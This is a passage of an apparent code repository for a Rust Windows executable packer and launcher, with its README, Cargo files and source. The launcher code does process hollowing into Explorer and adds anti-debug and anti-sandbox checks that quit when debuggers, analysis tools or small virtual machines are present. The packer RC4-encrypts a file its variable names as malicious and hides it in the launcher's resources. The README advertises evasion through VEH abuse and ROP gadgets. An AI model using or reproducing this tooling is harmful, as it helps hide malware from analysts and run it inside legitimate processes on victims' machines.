1718 | } 1719 | None => { 1720 | println!("[-] Failed to get WOW64 context"); 1721 | unsafe { 1722 | TerminateProcess(process_info.hProcess, 1); 1723 | VirtualFree(buffer, 0, MEM_RELEASE); 1724 | } 1725 | return Ok(()); 1726 | } 1727 | } 1728 | 1729 | } 1730 | else { 1731 | println!("64 BIT"); 1732 | let mut input = String::new(); 1733 | io::stdin().read_line(&mut input).unwrap(); 1734 | 1735 | // Read target process PEB 1736 | if let Some(peb) = read_remote_peb(process_info.hProcess) { 1737 | println!("Successfully read process PEB"); 1738 | println!("Image base address: {:p}", peb.image_base_address); 1739 | println!("PEB address {:p}", peb); 1740 | 1741 | let loaded_image = match read_remote_image(process_info.hProcess, peb.image_base_address) { 1742 | Some(image) => { 1743 | println!("Successfully read remote image"); 1744 | println!("Number of sections: {}", image.number_of_sections); 1745 | image 1746 | } 1747 | None => { 1748 | println!("Failed to read remote image"); 1749 | return Ok(()); 1750 | } 1751 | }; 1752 | 1753 | let source_magic = get_pe_magic(buffer as *const u8)?; 1754 | if source_magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { 1755 | println!("Source PE is not 64-bit (Magic: 0x{:X})", source_magic); 1756 | unsafe { VirtualFree(buffer, 0, MEM_RELEASE) }; 1757 | return Ok(()); 1758 | } 1759 | 1760 | let target_magic = read_remote_pe_magic(process_info.hProcess, peb.image_base_address)?; 1761 | if target_magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC { 1762 | println!("Target process is not 64-bit (Magic: 0x{:X})", target_magic); 1763 | unsafe { 1764 | winapi::um::processthreadsapi::TerminateProcess(process_info.hProcess, 1); 1765 | VirtualFree(buffer, 0, MEM_RELEASE); 1766 | } 1767 | return Ok(()); 1768 | } 1769 | 1770 | println!("Both source and target are 64-bit PE files"); 1771 | 1772 | let nt_unmap_view_of_section = match get_nt_unmap_view_of_section() { 1773 | Some(func) => func, 1774 | None => { 1775 | println!("Failed to get NtUnmapViewOfSection function"); 1776 | return Ok(()); 1777 | } 1778 | }; 1779 | 1780 | // Unmap the section 1781 | let result = unsafe { 1782 | nt_unmap_view_of_section( 1783 | process_info.hProcess, 1784 | peb.image_base_address 1785 | ) 1786 | }; 1787 | 1788 | if result != 0 { 1789 | println!("Error unmapping section: {}", result); 1790 | return Ok(()); 1791 | } 1792 | 1793 | println!("Successfully unmapped section"); 1794 | 1795 | let has_reloc = has_relocation64(buffer as *const u8); 1796 | if !has_reloc { 1797 | println!("[+] The source image doesn't have a relocation table."); 1798 | if run_pe64(&process_info, buffer as *const u8) { 1799 | println!("[+] The injection has succeeded!"); 1800 | // Clean up process 1801 | unsafe { 1802 | CloseHandle(process_info.hProcess); 1803 | CloseHandle(process_info.hThread); 1804 | VirtualFree(buffer, 0, MEM_RELEASE); 1805 | } 1806 | return Ok(()); 1807 | } 1808 | } 1809 | else { 1810 | println!("[+] The source image has a relocation table."); 1811 | if run_pe_reloc64(&process_info, buffer as *const u8) { 1812 | println!("[+] The injection has succeeded!"); 1813 | unsafe { 1814 | CloseHandle(process_info.hProcess); 1815 | CloseHandle(process_info.hThread); 1816 | VirtualFree(buffer, 0, MEM_RELEASE); 1817 | } 1818 | return Ok(()); 1819 | } 1820 | } 1821 | 1822 | } 1823 | else { 1824 | println!("Failed to read process PEB"); 1825 | } 1826 | } 1827 | } 1828 | Ok(()) 1829 | } 1830 | 1831 | //ANTI-DEBUG START----------------- 1832 | 1833 | fn is_debugger_present() { 1834 | unsafe { 1835 | if IsDebuggerPresent().into() { 1836 | panic!("\(〇_o)/"); 1837 | } 1838 | } 1839 | } 1840 | 1841 | fn process_list() { 1842 | let list = vec![ 1843 | "ollydbg.exe", 1844 | "windbg.exe", 1845 | "x64dbg.exe", 1846 | "ida.exe", 1847 | "ida64.exe", 1848 | "idaq.exe", 1849 | "procmon.exe", 1850 | "processhacker.exe", 1851 | "procexp.exe", 1852 | "procdump.exe", 1853 | "VsDebugConsole.exe", 1854 | "msvsmon.exe", 1855 | "x32dbg.exe" 1856 | ]; 1857 | 1858 | let mut system = System::new_all(); 1859 | 1860 | system.refresh_all(); 1861 | 1862 | for (_pid, process) in system.processes() { 1863 | for name in &list { 1864 | if process.name() == *name { 1865 | panic!(":( For Real?"); 1866 | } 1867 | } 1868 | } 1869 | } 1870 | 1871 | //ANTI-DEBUG END----------------- 1872 | 1873 | // ANTI-ANALYSIS START----------------- 1874 | fn verify_cpu() { 1875 | let mut info: SYSTEM_INFO = SYSTEM_INFO::default(); 1876 | 1877 | unsafe { 1878 | GetSystemInfo(&mut info); 1879 | } 1880 | 1881 | if info.dwNumberOfProcessors < 2 { 1882 | panic!(""); 1883 | } 1884 | } 1885 | 1886 | fn verify_ram() { 1887 | let mut info: MEMORYSTATUSEX = MEMORYSTATUSEX::default(); 1888 | info.dwLength = std::mem::size_of::() as u32; 1889 | 1890 | unsafe { 1891 | GlobalMemoryStatusEx(&mut info).expect(" "); 1892 | 1893 | if info.ullTotalPhys <= 2 * 1073741824 { 1894 | panic!("OwO"); 1895 | } 1896 | } 1897 | } 1898 | 1899 | fn verify_processes() { 1900 | let mut system = System::new_all(); 1901 | system.refresh_all(); 1902 | 1903 | let number_processes = system.processes().len(); 1904 | 1905 | if number_processes <= 50 { 1906 | panic!("⚆_⚆"); 1907 | 1908 | } 1909 | } 1910 | // ANTI-ANALYSIS END ---------------- 1911 | 1912 | fn main() { 1913 | 1914 | verify_ram(); 1915 | verify_cpu(); 1916 | verify_processes(); 1917 | is_debugger_present(); 1918 | process_list(); 1919 | 1920 | println!("Starting.."); 1921 | trigger_execution(); 1922 | println!("Execution complete"); 1923 | 1924 | } 1925 | -------------------------------------------------------------------------------- /Packer-working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Azr43lKn1ght/Rusty-PE-Packer/c95da8d9316d32f499e2130c3d52aaf57e4257a0/Packer-working.png -------------------------------------------------------------------------------- /Packit/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "Packit" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /Packit/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | author = "Azr43lKn1ght" 3 | name = "Packit" 4 | version = "0.1.0" 5 | edition = "2021" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | kernel32-sys = "0.2.2" 11 | winapi = {version = "0.3.8", features=[ 12 | "winnt", 13 | "memoryapi", 14 | "errhandlingapi", 15 | "processthreadsapi", 16 | "synchapi", 17 | "winnt", 18 | "minwindef", 19 | "winbase", 20 | "handleapi", 21 | "libloaderapi" 22 | ]} 23 | windows = { version = "0.58", features = ["Win32_Storage_FileSystem","Win32_Foundation"] } 24 | -------------------------------------------------------------------------------- /Packit/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::ffi::CString; 2 | use std::fs::{self, File}; 3 | use std::io::{self, Read}; 4 | use std::ptr; 5 | use std::env; 6 | use winapi::um::winnt::SUBLANG_NEUTRAL; 7 | use winapi::um::winnt::LANG_NEUTRAL; 8 | use winapi::um::winbase::{BeginUpdateResourceA, EndUpdateResourceA, UpdateResourceA}; 9 | use winapi::um::winnt::MAKELANGID; 10 | use winapi::um::memoryapi::{VirtualAlloc, VirtualFree}; 11 | use winapi::um::winnt::{MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE}; 12 | 13 | #[macro_export] 14 | macro_rules! MAKEINTRESOURCEA { 15 | ($i:expr) => { 16 | ($i as usize) as *const i8 17 | } 18 | } 19 | 20 | struct Rc4 { 21 | s: [u8; 256], 22 | i: usize, 23 | j: usize, 24 | } 25 | 26 | impl Rc4 { 27 | fn new(key: &[u8]) -> Rc4 { 28 | let mut s = [0u8; 256]; 29 | for i in 0..256 { 30 | s[i] = i as u8; 31 | } 32 | 33 | let mut j = 0; 34 | for i in 0..256 { 35 | j = (j + s[i] as usize + key[i % key.len()] as usize) % 256; 36 | s.swap(i, j); 37 | } 38 | Rc4 { s, i: 0, j: 0 } 39 | } 40 | 41 | fn apply_keystream(&mut self, data: &mut [u8]) { 42 | for byte in data.iter_mut() { 43 | self.i = (self.i + 1) % 256; 44 | self.j = (self.j + self.s[self.i] as usize) % 256; 45 | self.s.swap(self.i, self.j); 46 | let t = (self.s[self.i] as usize + self.s[self.j] as usize) % 256; 47 | *byte ^= self.s[t]; 48 | } 49 | } 50 | } 51 | 52 | fn main() -> io::Result<()> { 53 | let args: Vec = env::args().collect(); 54 | 55 | if args.len() != 3 { 56 | eprintln!("Usage: {} ", args[0]); 57 | return Ok(()); 58 | } 59 | 60 | let mal_file = &args[1]; 61 | let stub_file = &args[2]; 62 | let out_file = format!("{}_packed.exe", stub_file.trim_end_matches(".exe")); 63 | 64 | if !std::path::Path::new(mal_file).exists() { 65 | eprintln!("Input file does not exist!"); 66 | return Ok(()); 67 | } 68 | 69 | let mut file = File::open(mal_file)?; 70 | let metadata = file.metadata()?; 71 | let dw_resource_size = metadata.len() as usize; 72 | 73 | if dw_resource_size == 0 { 74 | eprintln!("File size is zero."); 75 | return Ok(()); 76 | } 77 | 78 | let lp_resource_buffer = unsafe { 79 | VirtualAlloc(ptr::null_mut(), dw_resource_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) 80 | }; 81 | 82 | if lp_resource_buffer.is_null() { 83 | eprintln!("Failed to allocate memory."); 84 | return Ok(()); 85 | } 86 | 87 | let mut buffer = vec![0u8; dw_resource_size]; 88 | file.read_exact(&mut buffer)?; 89 | 90 | unsafe { 91 | ptr::copy_nonoverlapping(buffer.as_ptr(), lp_resource_buffer as *mut u8, dw_resource_size); 92 | } 93 | 94 | if !std::path::Path::new(stub_file).exists() { 95 | eprintln!("launcher file does not exist!"); 96 | unsafe { VirtualFree(lp_resource_buffer, 0, MEM_RELEASE) }; 97 | return Ok(()); 98 | } 99 | 100 | match fs::copy(stub_file, &out_file) { 101 | Ok(_) => println!("Successfully created output file"), 102 | Err(e) => { 103 | eprintln!("Error creating output file: {}", e); 104 | unsafe { VirtualFree(lp_resource_buffer, 0, MEM_RELEASE) }; 105 | return Ok(()); 106 | } 107 | } 108 | 109 | let mut key: [u8; 30] = [ 110 | 0x55,0x6d,0x63,0x23,0x21,0x7b,0x58,0x79,0x21,0x70,0x79,0x63,0x41,0x7f,0x76,0x73,0x69,0x64, 111 | 0x3e,0x63,0x74,0x72,0x3c,0x7c,0x65,0x6e,0x1a,0x7e,0x64,0x7c, 112 | ]; 113 | let mut j = 1; 114 | for i in 0..30 { 115 | if i % 2 == 0 { 116 | key[i] = key[i] + j; 117 | } else { 118 | j = j + 1; 119 | } 120 | key[i] = key[i] ^ 0x17; 121 | } 122 | 123 | // Encrypt the buffer 124 | let mut rc4 = Rc4::new(&key); 125 | rc4.apply_keystream(&mut buffer); 126 | 127 | unsafe { 128 | ptr::copy_nonoverlapping(buffer.as_ptr(), lp_resource_buffer as *mut u8, dw_resource_size); 129 | } 130 | 131 | let out_file_c = CString::new(out_file.clone()).unwrap(); 132 | let h_update = unsafe { BeginUpdateResourceA(out_file_c.as_ptr(), 0) }; 133 | 134 | if h_update.is_null() { 135 | eprintln!("Resource update initialization failed."); 136 | unsafe { VirtualFree(lp_resource_buffer, 0, MEM_RELEASE) }; 137 | return Ok(()); 138 | } 139 | 140 | let lang_id = MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL); 141 | 142 | let update_result = unsafe { 143 | UpdateResourceA( 144 | h_update, 145 | CString::new("STUB").unwrap().as_ptr(), 146 | MAKEINTRESOURCEA!(69), 147 | lang_id as u16, 148 | lp_resource_buffer, 149 | dw_resource_size as u32, 150 | ) 151 | }; 152 | 153 | if update_result == 0 { 154 | unsafe { 155 | VirtualFree(lp_resource_buffer, 0, MEM_RELEASE); 156 | EndUpdateResourceA(h_update, 1); 157 | } 158 | eprintln!("Resource update failed."); 159 | return Ok(()); 160 | } 161 | 162 | let end_result = unsafe { EndUpdateResourceA(h_update, 0) }; 163 | 164 | if end_result == 0 { 165 | eprintln!("Finalizing resource update failed."); 166 | unsafe { VirtualFree(lp_resource_buffer, 0, MEM_RELEASE) }; 167 | return Ok(()); 168 | } 169 | 170 | unsafe { VirtualFree(lp_resource_buffer, 0, MEM_RELEASE) }; 171 | println!("Operation completed successfully!"); 172 | Ok(()) 173 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 3 | ██████╗ ██╗ ██╗███████╗████████╗██╗ ██╗ ██████╗ ███████╗ ██████╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ 4 | ██╔══██╗██║ ██║██╔════╝╚══██╔══╝╚██╗ ██╔╝ ██╔══██╗██╔════╝ ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ 5 | ██████╔╝██║ ██║███████╗ ██║ ╚████╔╝█████╗██████╔╝█████╗█████╗██████╔╝███████║██║ █████╔╝ █████╗ ██████╔╝ 6 | ██╔══██╗██║ ██║╚════██║ ██║ ╚██╔╝ ╚════╝██╔═══╝ ██╔══╝╚════╝██╔═══╝ ██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ 7 | ██║ ██║╚██████╔╝███████║ ██║ ██║ ██║ ███████╗ ██║ ██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ 8 | ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ 9 | 10 | Windows Executable Packer in Rust (x86 / x64) 11 | Anti-Debug and Anti-Analysis to VEH abuse with ROP gadget 12 | ``` 13 |

14 | Rust 15 | Windows 16 | x64 17 |

18 | 19 | ## :open_book: Project Overview : 20 | 21 | A robust Windows Process Executable Packer and Launcher implementation written in Rust for Windows x64 systems. The packer packs the EXE with Progressive Masked RC4 or AIP-XOR-RC4 with customizable 30-byte key. The PE packed into the launcher utilizes VEH to abuse pagegaurd access exception in sleep function, confuses execution flow and thwarts analysis with RIP manipulation with ROP gadget in ntdll, the launcher then decrypts the packed stub and creates a suspended explorer process(can be customized), unmaps the process memory and writes the headers and sections, handles reloaction if necessary and executes the new entrypoint. This packer and launcher works on x86 and x64 system processes, defaulting to Explorer as the target process for the launcher. 22 | 23 | ### :sparkles: Features : 24 | 25 | - x64 executable supporting both x86 and x64 target processes for launching and packing 26 | - Anti-Debug and Anti-Analysis techniques to thwart analysis and debugging 27 | - VEH abuse using PageGaurd access exception in sleep function to confuse execution flow 28 | - ROP gadget in ntdll to manipulate RIP for exectiuon of stub decryption 29 | - Progressive Masked RC4 or AIP-XOR-RC4 encryption with customizable 30-byte key for packing 30 | - Packed PE image execution in a legitamate process (Explorer by default) 31 | - PE image Executaion with and without relocation tables 32 | - Automatic preferred base address allocation attempt for images without relocation 33 | - Compatible with Windows system processes 34 | - Robust error handling and logging 35 | 36 | ![alt text](Packer-working.png) 37 | 38 | ## :rocket: Getting Started : 39 | 40 | > **Warning**
41 | > This is a **x64 executable**, you can't compile this project in x86, this loader is made to inject into x86 and x64 processes. 42 | > You can easily make a x86 process hollowing program based on this repository. 43 | 44 | ### :gear: Build : 45 | 46 | To build the project, you need to have Rust installed on your system. You can install Rust from [here](https://www.rust-lang.org/tools/install). Once you have Rust installed, you can build the project using the following command : 47 | 48 | ```shell 49 | cd Launcher 50 | cargo build --release 51 | cd Packit 52 | cargo build --release 53 | ``` 54 | 55 | This will create a `Launcher.exe and Packit.exe` executables in the respective `target/release` directory. 56 | 57 | 58 | ## 🧪 Usage : 59 | 60 | ### How to use the program : 61 | 62 | Use it in the command line : 63 | 64 | ```shell 65 | Packit.exe 66 | Launcher_packed.exe will be the packed executable 67 | ``` 68 | This can be integrated with reading the file directly in the code. 69 | 70 | ### Example : 71 | 72 | The Launcher is packed with a simple 32bit HelloWorld MessageBox program. 73 | 74 | ![alt text](image.png) 75 | 76 | ## References : 77 | 78 | https://github.com/Azr43lKn1ght/Rust-ProcHollow 79 | 80 | https://github.com/WKL-Sec/LayeredSyscall 81 | 82 | https://github.com/BlackSnufkin/Rusty-Playground/tree/main/VEH-ProxyDll 83 | 84 | https://chuongdong.com/malware%20development/2020/08/24/Packer/ 85 | 86 | ## :page_facing_up: License : 87 | 88 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. -------------------------------------------------------------------------------- /image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Azr43lKn1ght/Rusty-PE-Packer/c95da8d9316d32f499e2130c3d52aaf57e4257a0/image.png --------------------------------------------------------------------------------